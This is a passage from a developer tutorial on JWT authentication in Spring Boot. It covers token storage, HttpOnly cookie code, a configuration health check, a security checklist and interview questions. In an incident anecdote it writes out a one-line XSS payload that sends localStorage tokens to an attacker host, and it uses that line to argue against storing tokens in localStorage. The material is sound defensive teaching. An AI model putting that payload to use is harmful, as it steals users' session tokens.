localStorage — Available via document.localStorage in any JavaScript context on the page. Simple to implement, survives page refreshes, works well in frameworks that use interceptors. The critical weakness: any XSS vulnerability on the page — in your code, in a third-party library, in an analytics script, in an ad — gives the attacker access to document.localStorage.getItem('token'). XSS is extremely common. localStorage tokens are extremely easy to steal from it.

HttpOnly Cookie — The browser stores and sends the cookie automatically, but JavaScript cannot read it. document.cookie does not include HttpOnly cookies. XSS attacks that access localStorage cannot access HttpOnly cookies. The trade-off: you need SameSite=Strict or a CSRF token to prevent cross-origin cookie submission.

In-Memory (JavaScript variable) — Stored in a variable in your application's JavaScript state. Cannot be accessed from outside the page's execution context. Survives navigation within the SPA. Lost on page refresh. The refresh token in an HttpOnly cookie can recover it.

Production pattern: access token in memory (short-lived, lost on refresh, recovered by refresh token), refresh token in HttpOnly + Secure + SameSite=Strict cookie. This combines XSS protection for the long-lived credential with acceptable UX.

io/thecodeforge/security/CookieTokenService.java · JAVA
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849
package io.thecodeforge.security;

import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Service;

import java.util.Arrays;
import java.util.Optional;

@Service
public class CookieTokenService {

    private static final String REFRESH_TOKEN_COOKIE = "refresh_token";
    private static final String REFRESH_TOKEN_PATH = "/api/v1/auth/refresh";
    private static final int SEVEN_DAYS_SECONDS = 7 * 24 * 60 * 60;

    public void setRefreshTokenCookie(HttpServletResponse response, String refreshToken) {
        Cookie cookie = new Cookie(REFRESH_TOKEN_COOKIE, refreshToken);

        cookie.setHttpOnly(true);                        // JavaScript cannot access this cookie
        cookie.setSecure(true);                          // HTTPS only — never sent over HTTP
        cookie.setAttribute("SameSite", "Strict");       // not sent on cross-origin requests — CSRF protection
        cookie.setPath(REFRESH_TOKEN_PATH);              // scoped to refresh endpoint only — not sent with every request
        cookie.setMaxAge(SEVEN_DAYS_SECONDS);            // matches refresh token TTL in JwtService

        response.addCookie(cookie);
    }

    public Optional<String> extractRefreshTokenFromCookie(HttpServletRequest request) {
        if (request.getCookies() == null) {
            return Optional.empty();
        }
        return Arrays.stream(request.getCookies())
                .filter(c -> REFRESH_TOKEN_COOKIE.equals(c.getName()))
                .map(Cookie::getValue)
                .findFirst();
    }

    public void clearRefreshTokenCookie(HttpServletResponse response) {
        Cookie cookie = new Cookie(REFRESH_TOKEN_COOKIE, "");
        cookie.setHttpOnly(true);
        cookie.setSecure(true);
        cookie.setAttribute("SameSite", "Strict");
        cookie.setPath(REFRESH_TOKEN_PATH);
        cookie.setMaxAge(0); // tells the browser to delete the cookie immediately
        response.addCookie(cookie);
    }
}
▶ Output
Set-Cookie: refresh_token=eyJhbG...; Path=/api/v1/auth/refresh; Max-Age=604800; HttpOnly; Secure; SameSite=Strict
Mental Model
Access Token in Memory, Refresh Token in HttpOnly Cookie
The access token is short-lived and expendable — losing it on page refresh is acceptable because the refresh token can recover it. The refresh token is long-lived and must be protected from JavaScript access entirely.
  • localStorage is accessible to any JavaScript on the page — one XSS vulnerability steals every token for every user who has loaded the page
  • HttpOnly cookies cannot be read by JavaScript — XSS attacks that steal from localStorage can't steal HttpOnly cookies
  • SameSite=Strict prevents the refresh cookie from being sent on any cross-origin request — CSRF protection without CSRF tokens
  • Path=/api/v1/auth/refresh scopes the cookie to the refresh endpoint only — the cookie is not sent with every API call, reducing exposure
  • Access token in memory means it's lost on page refresh — the refresh token in the HttpOnly cookie recovers it transparently
📊 Production Insight
A team stored both access and refresh tokens in localStorage for simplicity — a single localStorage.getItem() call returned everything.
A third-party A/B testing script they had loaded for three months turned out to have an XSS vulnerability in its configuration parsing.
Attackers exploited it to inject a one-line script: fetch('https://attacker.io/steal?t='+localStorage.getItem('token')).
Both tokens — access and refresh — were exfiltrated from every active user session. The refresh tokens gave attackers weeks of access even after the access tokens expired.
The access token in memory pattern would have limited the damage to the 15-minute access token window. The HttpOnly cookie for the refresh token would have prevented that theft entirely.
Rule: localStorage is visible to every script on the page. The blast radius of XSS is exactly the set of tokens in localStorage. Don't put the refresh token there.
🎯 Key Takeaway
localStorage is accessible to any JavaScript — one XSS vulnerability steals every token from every active user session.
Store access tokens in memory (JavaScript variable) and refresh tokens in HttpOnly + Secure + SameSite=Strict cookies — the only production-safe pattern for web applications.
Scope the refresh token cookie to the refresh endpoint path only — it should not be sent with every API call.

Production Security Checklist

After implementing JWT auth, run through this checklist before every deployment. Every item on this list corresponds to a real production incident I've either experienced or debugged for someone else.

  1. Secret key is at least 256 bits (32 bytes decoded) and stored in an environment variable or secrets manager — not in source code.
  2. Session management is set to STATELESS — no JSESSIONID cookie is ever created.
  3. CSRF is disabled for the stateless API.
  4. Access token TTL is 15-60 minutes.
  5. Refresh token TTL is 7-30 days, longer than the access token.
  6. Passwords are hashed with BCrypt work factor 10 or higher.
  7. The JWT payload contains no passwords, API keys, credit card data, SSNs, or other PII.
  8. Exception handlers (AuthenticationEntryPoint, AccessDeniedHandler) return JSON, not HTML.
  9. @EnableMethodSecurity is present on SecurityConfig if you use @PreAuthorize.
  10. Rate limiting is configured on /auth/login — JWT is stateless so there is no built-in lockout after N failures.
  11. Unique signing keys are configured per environment — staging tokens must not work in production.
  12. A startup health check validates the key length and format before the app accepts traffic.
io/thecodeforge/health/JwtSecurityHealthIndicator.java · JAVA
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283
package io.thecodeforge.health;

import io.jsonwebtoken.io.Decoders;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.actuate.health.Health;
import org.springframework.boot.actuate.health.HealthIndicator;
import org.springframework.stereotype.Component;

/**
 * Validates JWT configuration at startup.
 * Exposed via GET /actuator/health — load balancers use this to gate traffic.
 * A misconfigured JWT key is detected before the first user tries to log in.
 */
@Component
public class JwtSecurityHealthIndicator implements HealthIndicator {

    // Known default/test keys that must never reach production
    private static final String DEV_FALLBACK_PREFIX = "dGhpcyBpcyBhIHZlcnkgc2VjdXJlIHNlY3JldCBrZXkgZm9yIGp3dA";

    @Value("${application.security.jwt.secret-key}")
    private String secretKey;

    @Value("${application.security.jwt.expiration}")
    private long accessTokenTtl;

    @Value("${application.security.jwt.refresh-token.expiration}")
    private long refreshTokenTtl;

    @Override
    public Health health() {
        try {
            if (secretKey == null || secretKey.isBlank()) {
                return Health.down()
                        .withDetail("error", "JWT secret key is not configured")
                        .build();
            }

            if (secretKey.startsWith(DEV_FALLBACK_PREFIX)) {
                return Health.down()
                        .withDetail("error", "JWT secret key is the development fallback — set JWT_SECRET environment variable")
                        .build();
            }

            byte[] keyBytes = Decoders.BASE64.decode(secretKey);
            if (keyBytes.length < 32) {
                return Health.down()
                        .withDetail("error", "JWT secret key is too short for HS256")
                        .withDetail("required_bits", 256)
                        .withDetail("actual_bits", keyBytes.length * 8)
                        .build();
            }

            if (accessTokenTtl < 300_000) { // less than 5 minutes
                return Health.down()
                        .withDetail("error", "Access token TTL is too short (< 5 minutes)")
                        .build();
            }

            if (accessTokenTtl > 86_400_000) { // more than 24 hours
                return Health.down()
                        .withDetail("error", "Access token TTL is too long (> 24 hours) — use a refresh token instead")
                        .build();
            }

            if (refreshTokenTtl <= accessTokenTtl) {
                return Health.down()
                        .withDetail("error", "Refresh token TTL must be longer than access token TTL")
                        .build();
            }

            return Health.up()
                    .withDetail("key_bits", keyBytes.length * 8)
                    .withDetail("access_token_ttl_minutes", accessTokenTtl / 60_000)
                    .withDetail("refresh_token_ttl_days", refreshTokenTtl / 86_400_000)
                    .build();

        } catch (Exception e) {
            return Health.down()
                    .withDetail("error", "JWT configuration is invalid: " + e.getMessage())
                    .build();
        }
    }
}
▶ Output
GET /actuator/health

{
"status": "UP",
"components": {
"jwtSecurityHealth": {
"status": "UP",
"details": {
"key_bits": 256,
"access_token_ttl_minutes": 15,
"refresh_token_ttl_days": 7
}
}
}
}
🔥Validate JWT Configuration at Startup — Not on First Request:
If your secret key is too short or not valid Base64, the app starts cleanly and passes health checks. It crashes on the first token generation — potentially hours after deployment, when a real user tries to log in. The JwtSecurityHealthIndicator surfaces configuration errors during the readiness check, before the load balancer routes traffic to the instance. Fail fast in the deployment pipeline, not under user load.
📊 Production Insight
A team deployed to production with a 128-bit secret key — below the HS256 minimum of 256 bits that JJWT enforces.
The application passed all pre-deployment health checks because the health check only verified the app started — it didn't validate JWT configuration.
Six hours after deployment, during peak traffic, the first user login caused a WeakKeyException. Spring Boot's default error handler returned a 500. Every login attempt returned 500 for the next 90 minutes until the on-call engineer was paged.
A 3-line health indicator — checking keyBytes.length >= 32 — would have caught this in the deployment pipeline and blocked the release before it reached production.
Rule: validate JWT configuration at startup with a health indicator. Reject bad configuration before it reaches users.
🎯 Key Takeaway
The production checklist has 12 items — each corresponds to a real incident. The ones teams skip most often: key length validation, unique keys per environment, rate limiting on /auth/login, and @EnableMethodSecurity.
The JwtSecurityHealthIndicator validates key length, TTL ranges, and rejects development fallback values — it prevents configuration errors from reaching users.
Rate-limit /auth/login explicitly — JWT is stateless so there is no built-in account lockout mechanism after repeated failures.
🗂 Traditional Session (Stateful) vs. JWT (Stateless)
JWT eliminates the shared session store bottleneck by moving validation state to the client — the trade-off is harder revocation in exchange for horizontal scalability. Neither approach is universally superior. The right choice depends on your architecture.
AspectTraditional Session (Stateful)JWT (Stateless)
Server MemoryHigh — stores session objects for every active user in RAM or RedisZero — no session state stored server-side; validation is purely cryptographic
ScalabilityHard — requires session replication or sticky sessions across instancesEasy — any instance validates the token independently with no shared state
RevocationInstant — delete the session from Redis and the user is out immediatelyComplex — requires token blacklisting or waiting for the short TTL to expire
Cross-DomainDifficult — cookies are restricted by same-origin policy by defaultSimple — the Authorization header carries the token across any domain
CSRF ProtectionRequired — cookies are sent automatically, so CSRF tokens or SameSite headers are neededNot applicable — Authorization headers are not sent automatically by browsers
Token SizeSmall — just a session ID (e.g., 32 hex chars in the cookie)Larger — full Base64URL token with header, payload, signature (200-500 chars typical)
MicroservicesRequires a shared session store (Redis) accessible from every serviceEach service validates independently — no shared infrastructure required
Mobile AppsRequires cookie management or custom header forwardingNative fit — Authorization header is the standard for mobile HTTP clients

🎯 Key Takeaways

  • JWT enables stateless authentication by moving session state from the server to the client — any server can validate the token without a shared session store.
  • A JWT has three parts: Header (algorithm), Payload (claims), and Signature (cryptographic proof). The payload is Base64-encoded, not encrypted — never put sensitive data in it.
  • Use HS256 for single-service architectures (one shared secret). Use RS256 for microservices (private key signs, public key verifies — resource servers can't forge tokens).
  • Access tokens should be short-lived (15-60 minutes) to limit stolen token damage. Refresh tokens should be long-lived (7-30 days) to avoid forcing re-authentication.
  • Spring Security 6 requires SessionCreationPolicy.STATELESS and the JwtAuthenticationFilter added before UsernamePasswordAuthenticationFilter in the filter chain.
  • The JwtAuthenticationFilter should silently skip requests without tokens — don't throw exceptions. Spring Security's authorization rules handle the 401/403 responses.
  • Store refresh tokens in HttpOnly, Secure, SameSite=Strict cookies. Store access tokens in memory (JavaScript variable) — not localStorage.
  • Create a SecurityHealthIndicator that validates the JWT secret key length and format at startup — fail fast, not on the first user login.
  • Use @PreAuthorize for method-level RBAC and .requestMatchers().hasAuthority() for URL-level RBAC. Both require @EnableMethodSecurity on the config class.
  • Register AuthenticationEntryPoint (401) and AccessDeniedHandler (403) to return clean JSON error responses instead of Spring's default HTML error pages.
  • Rate-limit the /auth/login endpoint to prevent brute-force attacks. JWT auth is stateless, so there's no server-side lockout after N failed attempts.
  • Never hardcode the JWT secret key. Use environment variables (${JWT_SECRET}), Spring Cloud Config, or a secrets manager. A key in source code is a key in git history.

⚠ Common Mistakes to Avoid

    Storing sensitive data in the JWT payload
    Symptom

    PII, credit card fragments, API keys, or internal system identifiers appear in API gateway access logs, browser developer tools, and proxy logs. Anyone who intercepts or finds a token can decode the payload at jwt.io in seconds — no key required for reading.

    Fix

    Only store non-sensitive identifiers in the payload: opaque user ID, email, role names. Never put passwords, credit card numbers, SSNs, or any data you wouldn't want logged in plaintext. If the payload must contain sensitive data, use JWE (JSON Web Encryption) — but the simpler answer for most applications is to keep secrets out of the token and make a database call if you need sensitive details.

    Using a weak or hardcoded secret key
    Symptom

    HS256 keys below 256 bits throw WeakKeyException at token generation time — not at startup, which means the failure happens under user load. Hardcoded keys get committed to git and are findable via GitHub code search in under a minute. An attacker with the key can forge tokens for any user.

    Fix

    Generate with openssl rand -base64 32 and store in an environment variable (${JWT_SECRET}). Use a secrets manager (Vault, AWS Secrets Manager, GCP Secret Manager) in production. Add git-secrets or truffleHog to your CI/CD pre-push hook to catch committed secrets before they reach the repository.

    Setting infinite or very long token expiration
    Symptom

    A stolen access token with a 30-day TTL is valid for 30 days from theft. There is no server-side mechanism to invalidate it without implementing token blacklisting. The attacker has persistent access for the full token lifetime.

    Fix

    Use 15-60 minute access tokens with a separate refresh token flow. A stolen access token is valid for at most 60 minutes. A stolen refresh token can be revoked server-side by deleting it from the database. The combination limits damage without forcing frequent re-authentication.

    Not catching exceptions in JwtAuthenticationFilter
    Symptom

    Expired or malformed tokens throw JwtException subclasses that propagate up as unhandled exceptions. Spring Boot converts these to 500 Internal Server Error instead of 401 Unauthorized. Clients cannot distinguish between a server crash and an auth failure, leading to broken error handling in all consumers.

    Fix

    Wrap token parsing in a try-catch in doFilterInternal(). On any exception — ExpiredJwtException, SignatureException, MalformedJwtException — log at debug level and call filterChain.doFilter() without setting the SecurityContext. Spring Security's AuthenticationEntryPoint returns the clean 401 JSON response.

    Not setting SessionCreationPolicy.STATELESS
    Symptom

    Spring Security creates a JSESSIONID cookie on the first authenticated request. The session and JWT compete for authentication authority — some requests authenticate via the session (using potentially stale roles), others via the JWT. Password changes and role updates take effect on JWT re-issue but not on existing sessions.

    Fix

    Set .sessionCreationPolicy(SessionCreationPolicy.STATELESS) in the SecurityFilterChain. This prevents JSESSIONID creation entirely and ensures JWT is the only authentication mechanism. Also re-enables CSRF safety — no cookies means no CSRF attack vector.

    Throwing exceptions in the filter when the token is missing
    Symptom

    Public endpoints (/auth/login, /auth/register) return 500 instead of working normally. The filter runs before the permitAll() authorization rules are evaluated — it intercepts and crashes the request before Spring Security can determine the endpoint is public.

    Fix

    Check for null or non-Bearer Authorization header at the top of doFilterInternal() and return immediately by calling filterChain.doFilter(request, response). The filter must always pass control forward. Missing tokens are not filter errors — they're handled by Spring Security's authorization rules downstream.

    Storing JWTs in localStorage
    Symptom

    Any XSS vulnerability on the page — in your code, in a third-party library, in an analytics script, in a CDN-hosted dependency — gives the attacker access to document.localStorage. All tokens are stolen in one line of injected JavaScript.

    Fix

    Store access tokens in a JavaScript variable (in-memory state management). Store refresh tokens in HttpOnly + Secure + SameSite=Strict cookies scoped to the refresh endpoint path. JavaScript cannot access HttpOnly cookies — XSS attacks that steal from localStorage cannot steal from HttpOnly cookies.

    Not adding @EnableMethodSecurity
    Symptom

    @PreAuthorize annotations are silently ignored — no exception, no warning, no log output. Admin endpoints are accessible to any authenticated user. The annotations compile and deploy correctly but have zero runtime effect.

    Fix

    Add @EnableMethodSecurity to the SecurityConfig class. Test authorization with the lowest-privilege account after adding any @PreAuthorize annotation — testing only with admin access confirms the happy path but doesn't verify the restriction is enforced.

Interview Questions on This Topic

  • QDescribe the 3 components of a JWT (Header, Payload, Signature). How is the signature generated, and what happens if someone modifies the payload?JuniorReveal
    A JWT consists of three Base64URL-encoded parts separated by dots. The Header contains the signing algorithm (HS256, RS256) and token type (JWT). The Payload contains claims: standard ones like sub (subject — user ID or email), exp (expiration timestamp), iat (issued at), jti (unique token ID); plus application-specific custom claims like roles or tenant_id. The Signature is created by taking the Base64URL-encoded header, appending a dot, appending the Base64URL-encoded payload, then cryptographically signing that string with the secret key (HS256) or private key (RS256). If someone modifies the payload — changes the expiration, adds an admin role, alters the user ID — the server detects it during validation. The server re-computes the expected signature using the received header and the modified payload with its own key. The computed signature will not match the signature in the token because the signature was created over the original payload. JJWT throws a SignatureException and the token is rejected. The tamper detection is cryptographic — an attacker cannot produce a valid signature without the secret key.
  • QExplain the 'Stateless' nature of JWT. If the server doesn't store anything, how do you revoke a user's access before the token expires? Describe at least two strategies.Mid-levelReveal
    JWT is stateless because all information needed to authenticate a request is in the token itself. The server validates the cryptographic signature — if valid, it trusts the claims without any database lookup or session store. This is what enables horizontal scaling: any server instance can validate any token because they all share the signing key (HS256) or public key (RS256). Revocation strategies: (1) Short TTLs — 15-minute access tokens mean a stolen token expires quickly. This is the first line of defense. (2) Token blacklisting — include a jti (unique token ID) claim in every token, store revoked jti values in Redis with a TTL matching the token expiration, check Redis in the filter before trusting claims. This reintroduces state (a Redis lookup per request) but enables immediate revocation. (3) Refresh token revocation — store refresh tokens in a database table and mark them as revoked. The attacker's access tokens expire within the short TTL; without a valid refresh token they cannot get new ones. (4) Signing key rotation — rotate the secret key, invalidating all tokens issued with the old key. Use key versioning to accept old tokens during a transition window. For most applications, the right answer is short TTLs combined with refresh token revocation — you get meaningful revocation (via invalidating the refresh token) without the Redis overhead of full token blacklisting.
  • QWhat is the difference between HS256 and RS256? When would you choose one over the other in a microservices architecture?Mid-levelReveal
    HS256 is symmetric — one shared secret key both signs and verifies tokens. Every service that needs to validate tokens must have a copy of this secret. The risk: if any one of those services is compromised, the attacker has a key that can forge tokens accepted by every other service. The blast radius of a single compromise is the entire platform. RS256 is asymmetric — a private key signs tokens on the auth server, a public key verifies them on resource servers. The private key never leaves the auth server. Resource servers hold only the public key — which cannot forge tokens, only verify them. A compromised resource server exposes the public key (which is designed to be public anyway) but not the signing capability. In a microservices architecture: if you have a single service that both issues and validates tokens, HS256 is simpler — one key to manage, faster operations. If you have multiple services validating tokens, RS256 is the correct choice — only the auth server holds the private key. Every major identity provider (Auth0, Keycloak, Okta) defaults to RS256 with a JWKS endpoint, because they issue tokens that need to be verified by arbitrary third-party services.
  • QWalk me through the complete JWT authentication flow in Spring Boot: from the user clicking 'Login' to the client making an authenticated API call.Mid-levelReveal
    (1) Client sends POST /api/v1/auth/login with email and password in the request body. (2) AuthenticationController receives the request and calls authenticationManager.authenticate() with a UsernamePasswordAuthenticationToken. (3) AuthenticationManager delegates to DaoAuthenticationProvider, which calls UserDetailsService.loadUserByUsername() to load the user from the database. (4) DaoAuthenticationProvider calls BCryptPasswordEncoder.matches() to verify the submitted password against the stored hash. (5) On success, JwtService generates an access token (15-min TTL) and refresh token (7-day TTL), both signed with HS256. (6) Controller returns both tokens in the response body (200 OK). (7) Client stores the access token in memory, refresh token in an HttpOnly cookie. (8) Client sends GET /api/v1/profile with Authorization: Bearer <access-token> header. (9) JwtAuthenticationFilter extracts the token, calls jwtService.extractUsername() which parses the token and verifies the signature. (10) Filter loads UserDetails from UserDetailsService, calls jwtService.isTokenValid() to verify the token belongs to the user and isn't expired. (11) Filter sets SecurityContextHolder with a UsernamePasswordAuthenticationToken containing the user's authorities. (12) Spring Security checks the authorization rules — /api/v1/profile requires any authenticated user — authentication is set, so it passes. (13) Controller executes, calls authentication.getName() to get the username, returns the profile data. (14) When the access token expires, client sends POST /api/v1/auth/refresh with the refresh token, receives a new access token without re-entering credentials.
  • QWhere should a JWT be stored on the client-side for maximum security? Compare localStorage, sessionStorage, and HttpOnly cookies.Mid-levelReveal
    localStorage persists across browser sessions and is accessible via document.localStorage in any JavaScript context on the page. Any XSS vulnerability — in your code or any third-party script — can read document.localStorage.getItem('token'). It's the most convenient option and the most dangerous for long-lived tokens. sessionStorage has the same XSS vulnerability as localStorage but is cleared when the browser tab closes. Better than localStorage for reducing persistence of stolen tokens, but still accessible to XSS. HttpOnly cookies cannot be read by JavaScript — the HttpOnly flag instructs the browser to exclude the cookie from the document.cookie API. XSS attacks that steal from localStorage cannot access HttpOnly cookies. Add Secure (HTTPS only) and SameSite=Strict (not sent on cross-origin requests) for complete protection. The production pattern: store the access token in a JavaScript variable (in-memory state). It's lost on page refresh but that's acceptable — the refresh token in an HttpOnly cookie recovers it silently. Store the refresh token in HttpOnly + Secure + SameSite=Strict cookie scoped to the refresh endpoint path. This gives XSS protection for the long-lived credential and CSRF protection via SameSite. localStorage is only acceptable for browser extensions (which have a separate origin) and native mobile apps (where XSS is not a browser concern).
  • QHow does the JwtAuthenticationFilter work? Why does it extend OncePerRequestFilter, and what happens if the token is missing or expired?SeniorReveal
    JwtAuthenticationFilter extends OncePerRequestFilter to guarantee it executes exactly once per HTTP request. Spring's filter chain can call filters multiple times in request forwarding and include scenarios — OncePerRequestFilter adds internal tracking to prevent duplicate execution. The filter flow: (1) extract the Authorization header, (2) check for 'Bearer ' prefix — skip silently if absent by calling filterChain.doFilter() and returning, (3) parse the token to extract the username by calling jwtService.extractUsername(), wrapped in try-catch — any parsing exception (expired, malformed, bad signature) results in skipping silently, (4) check that the SecurityContext doesn't already have an authentication set (prevents redundant processing), (5) load UserDetails from UserDetailsService, (6) call jwtService.isTokenValid() — if valid, create a UsernamePasswordAuthenticationToken with the user's authorities and set it on the SecurityContextHolder, (7) always call filterChain.doFilter() to pass the request to the next filter. If the token is missing: the filter returns early at step 2, nothing is set on the SecurityContext. Spring Security's authorization rules then evaluate the request — if the endpoint is in permitAll(), the request continues; if it requires authentication, the AuthenticationEntryPoint returns a 401. If the token is expired or invalid: the exception is caught at step 3, nothing is set on the SecurityContext, the request continues to Spring Security's authorization rules which return a 401 via AuthenticationEntryPoint. The filter never throws exceptions — it either sets context or doesn't.
  • QWhat is the purpose of the refresh token? Why not just use a long-lived access token?SeniorReveal
    A long-lived access token (e.g., 30 days) means a stolen token is valid for 30 days — the attacker has a month of access. The refresh token pattern separates concerns: the access token is short-lived (15-60 minutes) to limit the blast radius of theft, and the refresh token is long-lived (7-30 days) for user convenience. When the access token expires, the client uses the refresh token to get a new access token without re-entering credentials. The refresh token endpoint can enforce additional security checks (IP matching, device fingerprinting) and can be revoked server-side if suspicious activity is detected. The race condition when multiple concurrent requests use an expiring refresh token is handled by: queuing concurrent requests, refreshing once, then retrying all queued requests with the new token.
  • QWhy is SessionCreationPolicy.STATELESS necessary when implementing JWT in Spring Security?Mid-levelReveal
    Without SessionCreationPolicy.STATELESS, Spring Security creates a JSESSIONID cookie on every request and stores session data on the server. This defeats the purpose of JWT (stateless auth where the server stores nothing). It also introduces CSRF vulnerabilities because cookies are being used for authentication. The session and JWT can compete for authentication authority — some requests use the session, others use the JWT, leading to inconsistent behavior. Setting STATELESS tells Spring Security to never create sessions or cookies — JWT in the Authorization header is the only authentication mechanism.
  • QHow would you implement role-based access control (RBAC) with JWT in Spring Boot?SeniorReveal
    Two approaches: (1) URL-based authorization in SecurityConfig: .requestMatchers('/admin/**').hasAuthority('ROLE_ADMIN') — this is for coarse-grained security boundaries. (2) Method-based authorization with @PreAuthorize: @PreAuthorize('hasAuthority("ROLE_ADMIN")') on individual controller methods — this is for fine-grained per-method rules. Both require @EnableMethodSecurity on the SecurityConfig class. Roles are stored in the JWT payload as a custom claim, extracted by the JwtAuthenticationFilter, and set as GrantedAuthorities in the SecurityContext. For ownership checks (user can only access their own data), use SpEL: @PreAuthorize('#userId == authentication.principal.id').
  • QYour JWT secret key has been compromised. Walk me through your incident response.SeniorReveal
    (1) Detection: monitor for unusual API patterns — admin endpoints called from unexpected IPs, token generation from unknown sources, or alerts from git-secrets detecting the key in a public repository. (2) Immediate response: rotate the signing key — generate a new 256-bit key and deploy it. (3) All existing tokens become invalid because the new key cannot verify old signatures — all users must re-authenticate. (4) To avoid mass logout, implement key versioning: accept tokens signed with either the old or new key during a 24-hour transition window. (5) Revoke all refresh tokens server-side to prevent attackers from getting new access tokens with the old key. (6) Audit: check access logs for tokens signed with the compromised key — identify which endpoints were accessed and what data was exposed. (7) Prevention: add git-secrets or truffleHog to CI/CD, use a secrets manager instead of environment variables, implement key rotation on a regular schedule (e.g., every 90 days).

Frequently Asked Questions

Is JWT more secure than Session cookies?

Neither is inherently more secure — they solve different problems. Sessions are easier to revoke (just delete the session on the server) but harder to scale (requires a shared session store). JWTs are easier to scale (stateless validation) but harder to revoke (requires blacklisting or short TTLs). For security: sessions with HttpOnly cookies are protected from XSS but need CSRF protection. JWTs stored in HttpOnly cookies get the same XSS protection. The real security difference: with JWT, if a token is stolen, it's valid until it expires. With sessions, you can kill the session instantly.

What happens if my JWT secret key is stolen?

An attacker with your secret key can forge tokens for any user — including admin users. This is a critical security incident. Immediate response: (1) rotate the secret key, (2) all existing tokens become invalid, (3) all users must re-authenticate. To avoid a mass logout, implement key versioning: accept tokens signed with either the old or new key during a transition window, then remove the old key after all old tokens have expired.

Can I use JWT for a traditional monolithic web application?

You can, but it's often overkill. In a monolith, a single server handles all requests — there's no 'sticky session' problem because there's only one session store. Traditional server-side sessions are simpler to implement, easier to revoke, and don't require client-side token management. JWT shines in microservices (multiple servers validating tokens independently) and SPAs (decoupled frontend and backend).

What is the difference between an access token and a refresh token?

An access token is short-lived (15-60 minutes) and sent with every API request in the Authorization header. A refresh token is long-lived (7-30 days) and sent only to the /auth/refresh endpoint to get a new access token. The separation limits damage: if an access token is stolen, it's only valid for 15 minutes. If a refresh token is stolen, the attacker can get new access tokens — but the refresh endpoint can enforce additional checks.

How do I revoke a JWT before it expires?

JWTs are stateless — there's no server-side session to delete. Revocation strategies: (1) short TTLs (15 minutes) — just wait for expiration, (2) token blacklist — store revoked jti values in Redis and check in the filter, (3) refresh token revocation — revoke the refresh token server-side, (4) key rotation — rotate the signing key, invalidating all tokens. For most applications, short TTLs + refresh token revocation is sufficient.

How do I test JWT authentication in my integration tests?

Use MockMvc with a test JWT. Generate a token using your JwtService with a test user, then pass it in the Authorization header of your MockMvc request. For unit tests, mock the JwtService. For integration tests, use @SpringBootTest with a test database (H2). Example: mockMvc.perform(get('/api/v1/profile').header('Authorization', 'Bearer ' + testToken)).andExpect(status().isOk()).

Why does Spring Security return 403 instead of 401?

In Spring Security, 401 means 'not authenticated' (no valid credentials provided) and 403 means 'authenticated but not authorized' (valid credentials but insufficient permissions). If you're getting 403 on a protected endpoint, the user is authenticated but lacks the required role. If you're getting 403 on a public endpoint, check that the endpoint is in your permitAll() list.

How do I handle token expiration gracefully on the client side?

The standard pattern: (1) make an API call with the access token, (2) if you get 401, call /auth/refresh with the refresh token, (3) if refresh succeeds, retry the original request with the new access token, (4) if refresh fails, redirect to login. Implement this as an Axios/OkHttp interceptor. Handle the race condition where multiple concurrent requests all get 401 — queue them, refresh once, then retry all with the new token.

🔥
Naren Founder & Author

Developer and founder of TheCodeForge. I built this site because I was tired of tutorials that explain what to type without explaining why it works. Every article here is written to make concepts actually click.

← PreviousSpring Boot Security BasicsNext →Spring Boot Actuator and Monitoring
Forged with 🔥 at TheCodeForge.io — Where Developers Are Forged